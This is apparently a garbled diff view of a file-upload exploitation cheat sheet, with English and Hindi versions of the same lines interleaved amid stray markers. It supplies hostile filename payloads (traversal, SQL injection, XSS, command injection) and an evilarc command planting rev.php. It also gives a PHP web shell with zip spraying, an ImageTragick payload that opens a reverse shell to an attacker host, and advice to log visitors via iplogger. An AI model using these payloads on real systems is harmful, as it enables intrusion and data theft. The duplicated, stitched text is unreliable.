कुछ legacy upload handlers जो `snprintf()` या समान तरीकों का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES` structure को forge करने के लिए trick किया जा सकता है। `snprintf()` के inconsistent और truncation व्यवहार के कारण, सावधानीपूर्वक बनाया गया एक single upload सर्वर साइड पर कई indexed files के रूप में दिखाई दे सकता है, जिससे वह logic भ्रमित हो जाता है जो strict shape मानता है (जैसे, इसे multi-file upload मानकर unsafe branches पर जाना)। हालांकि आज के समय में यह niche है, यह “index corruption” pattern कभी-कभी CTFs और पुराने codebases में फिर से दिखाई देता है।
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## File upload से अन्य कमजोरियाँ
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- **filename** को `../../../tmp/lol.png` सेट करें और **path traversal** हासिल करने की कोशिश करें
|
||||
- **filename** को `sleep(10)-- -.jpg` सेट करें और आप **SQL injection** करने में सक्षम हो सकते हैं
|
||||
- **filename** को `<svg onload=alert(document.domain)>` सेट करें ताकि **XSS** प्राप्त हो सके
|
||||
- **filename** को `; sleep 10;` सेट करके कुछ **command injection** की जाँच करें (और [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- यदि आप web server को किसी URL से image पकड़ने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग आज़मा सकते हैं। यदि यह **image** किसी **public** साइट पर **saved** होने वाली है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) जैसे URL का संकेत दे सकते हैं और हर विज़िटर की जानकारी चुरा सकते हैं।
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). यदि आप PDFs upload कर सकते हैं तो आप कुछ ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार arbitrary JS execute करे।
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- फाइल अपलोड करते समय कोई **size limit** है या नहीं जाँचें
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -240,34 +239,34 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
अन्य filetypes के लिए देखें [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)।
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar फ़ाइल जो सर्वर पर स्वतः अनपैक होती है
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
यदि आप ऐसा ZIP upload कर सकते हैं जो सर्वर के अंदर decompressed किया जाएगा, तो आप 2 चीज़ें कर सकते हैं:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
ऐसी link upload करें जिसमें अन्य फ़ाइलों के soft links हों, फिर decompressed फाइलों तक पहुँचने पर आप linked files को access कर सकेंगे:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### अलग फ़ोल्डरों में डीकम्प्रेस करें
|
||||
### विभिन्न फ़ोल्डरों में डीकम्प्रेस करें
|
||||
|
||||
डीकम्प्रेशन के दौरान निर्देशिकाओं में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती धारना यह हो सकती है कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान करेगा, लेकिन ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers प्रतिबंधों को बायपास कर सकते हैं और टारगेट किए गए एप्लिकेशन की decompression functionality को manipulate करके secure upload directories से बाहर निकल सकते हैं।
|
||||
डीकम्प्रेशन के दौरान डायरेक्टरीज़ में फ़ाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती अनुमान यह हो सकता है कि यह सेटअप मैलिशियस फ़ाइल अपलोड के जरिए OS-level command execution से सुरक्षा करेगा, लेकिन ZIP archive format का hierarchical compression support और directory traversal क्षमताएँ दुरुपयोग की जा सकती हैं। इससे attackers प्रतिबंधों को बायपास कर सुरक्षित upload directories से निकल सकते हैं, बस लक्ष्य एप्लिकेशन की decompression functionality को manipulate करके।
|
||||
|
||||
ऐसी फाइलें तैयार करने के लिए एक automated exploit उपलब्ध है: [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). इस utility का उपयोग निम्नानुसार किया जा सकता है:
|
||||
ऐसे फ़ाइलें बनाने के लिए एक automated exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। इस utility का उपयोग निम्नानुसार किया जा सकता है:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि लक्ष्य `/flag.txt` जैसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल का एक symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc को उसके संचालन के दौरान त्रुटियाँ न हों।
|
||||
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल का symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc को इसके संचालन के दौरान त्रुटियाँ नहीं होंगी।
|
||||
|
||||
नीचे दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए उपयोग किए गए Python कोड का एक उदाहरण दिया गया है:
|
||||
नीचे एक उदाहरण दिया गया है Python code का, जो एक malicious zip file बनाने के लिए उपयोग किया जाता है:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -287,9 +286,9 @@ create_zip()
|
||||
```
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
For further details **अधिक जानकारी के लिए मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP कोड ऐसे कमांड्स को निष्पादित करने के लिए लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास होते हैं।
|
||||
1. **Creating a PHP Shell**: PHP कोड उन कमांड्स को निष्पादित करने के लिए लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए जाते हैं।
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -299,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और एक zip archive तैयार किया जाता है जिसमें ये फाइलें होती हैं।
|
||||
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक zip आर्काइव तैयार किया जाता है।
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: zip के अंदर फाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर directories का traversal किया जाता है।
|
||||
3. **Modification with a Hex Editor or vi**: zip के अंदर की फाइलों के नाम vi या hex editor का उपयोग करके बदल दिए जाते हैं, "xxA" को "../" में बदलकर directory traversal किया जाता है।
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -316,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
इस कंटेंट को image extension के साथ upload करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** का exploit किया जा सके (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
इस सामग्री को image extension के साथ अपलोड करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** का exploit किया जा सके (exploit देखें: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PHP Shell को PNG में एम्बेड करना
|
||||
## PNG पर PHP Shell एम्बेड करना
|
||||
|
||||
PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशनों को प्रभावी ढंग से बायपास किया जा सकता है। PHP-GD के `imagecopyresized` और `imagecopyresampled` फ़ंक्शन्स इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर क्रमशः छवियों के resizing और resampling के लिए उपयोग किया जाता है। इन ऑपरेशनों से अप्रभावित रहने की embedded PHP shell की क्षमता कुछ उपयोग मामलों के लिए महत्वपूर्ण लाभ प्रदान करती है।
|
||||
PNG फ़ाइल के IDAT चंक में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशन्स को प्रभावी रूप से बायपास किया जा सकता है। PHP-GD के `imagecopyresized` और `imagecopyresampled` फ़ंक्शंस इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि वे आमतौर पर क्रमशः इमेज को resize और resample करने के लिए उपयोग किए जाते हैं। इन ऑपरेशन्स से अप्रभावित रहने की क्षमता एम्बेडेड PHP shell के कुछ उपयोग मामलों में महत्वपूर्ण लाभ है।
|
||||
|
||||
इस तकनीक का विस्तृत विश्लेषण, इसकी कार्यप्रणाली और संभावित अनुप्रयोगों सहित, निम्नलिखित लेख में उपलब्ध है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह स्रोत प्रक्रिया और उसके निहितार्थों की व्यापक समझ देता है।
|
||||
इस तकनीक का विस्तृत विश्लेषण, जिसमें इसकी methodology और संभावित applications शामिल हैं, निम्नलिखित लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और इसके implications की व्यापक समझ प्रदान करता है।
|
||||
|
||||
अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot फ़ाइलें
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot files साइबर सुरक्षा में एक अनूठा उपकरण हैं, जो कैमेलियन की तरह काम करते हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद हो सकते हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, एक हाइब्रिड जो एक ही समय में GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
Polyglot files साइबर सुरक्षा में एक अनोखा उपकरण हैं, जो chameleons की तरह काम करते हैं और एक साथ कई file formats में वैध रूप से मौजूद हो सकते हैं। एक दिलचस्प उदाहरण है [GIFAR](https://en.wikipedia.org/wiki/Gifar), एक hybrid जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसे फाइल्स सिर्फ इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
Polyglot फ़ाइलों की मुख्य उपयोगिता उनकी उस क्षमता में निहित है कि वे प्रकार के आधार पर फ़ाइलों को स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न एप्लिकेशन्स में सामान्य प्रैक्टिस केवल कुछ फ़ाइल टाइप्स को upload की अनुमति देना है — जैसे JPEG, GIF, या DOC — ताकि संभावित हानिकारक फ़ॉर्मैट्स (जैसे JS, PHP, या Phar फ़ाइलें) से जोखिम कम किया जा सके। हालांकि, एक polyglot कई फ़ाइल प्रकारों की संरचनात्मक आवश्यकताओं को पूरा करके चुपके से इन प्रतिबंधों को बायपास कर सकता है।
|
||||
Polyglot files की मुख्य उपयोगिता यह है कि वे उन security measures को बायपास कर सकते हैं जो फाइल्स को उनके type के आधार पर स्क्रीन करते हैं। कई applications में सिर्फ कुछ file types को upload की अनुमति दी जाती है—जैसे JPEG, GIF, या DOC—ताकि संभावित खतरनाक formats (जैसे JS, PHP, या Phar files) से सुरक्षा की जा सके। हालांकि, एक polyglot, कई file types की structural criteria को पूरा करके, इन प्रतिबंधों को चुपके से बायपास कर सकता है।
|
||||
|
||||
अनुकूलनशीलता के बावजूद, polyglots की सीमाएं भी होती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ एक PHAR file (PHp ARchive) और एक JPEG दोनों हो सकता है, उसके upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के प्रति सख्त है, तो केवल संरचनात्मक द्वैत होने से polyglot का upload सुनिश्चित नहीं होगा।
|
||||
फिर भी, polyglots के कुछ limitations होते हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR file (PHp ARchive) और एक JPEG दोनों हो सकता है, उसकी upload सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। अगर सिस्टम अनुमेय extensions के बारे में कड़ा है, तो polyglot की structural duality अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती।
|
||||
|
||||
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDF की तरह दिखते हुए वैध JSON अपलोड करना
|
||||
### Upload valid JSONs जैसे कि यह PDF हो
|
||||
|
||||
कैसे फाइल टाइप डिटेक्शन से बचें और वैध JSON फ़ाइल को PDF बनाकर अपलोड करें (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
कैसे file type detections से बचें जब आप एक valid JSON फ़ाइल upload करना चाहते हैं भले ही अनुमति न हो, इसे एक fake PDF फ़ाइल दिखाकर (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: यदि `%PDF` magic bytes पहले 1024 bytes में मौजूद हैं तो इसे वैध माना जाता है (post से उदाहरण लें)
|
||||
- **`pdflib` library**: JSON के किसी field के अंदर एक नकली PDF फॉर्मैट जोड़ें ताकि लाइब्रेरी इसे PDF समझ ले (post से उदाहरण लें)
|
||||
- **`file` binary**: यह फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बनाएं ताकि यह सामग्री को json के रूप में पार्स न कर सके और फिर JSON के अंदर वास्तविक PDF का प्रारम्भिक भाग रखें — इससे यह उसे PDF समझ लेगा
|
||||
- **`mmmagic` library**: जब तक `%PDF` magic bytes पहले 1024 bytes में मौजूद हों यह valid माना जाता है (पोस्ट से उदाहरण लें)
|
||||
- **`pdflib` library**: JSON के एक field के अंदर एक fake PDF format जोड़ें ताकि library इसे pdf समझे (पोस्ट से उदाहरण लें)
|
||||
- **`file` binary**: यह एक फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बनाएं ताकि यह content को json के रूप में पार्स न कर सके और फिर JSON के अंदर वास्तविक PDF का प्रारम्भिक हिस्सा डाल दें और यह इसे PDF समझ लेगा
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user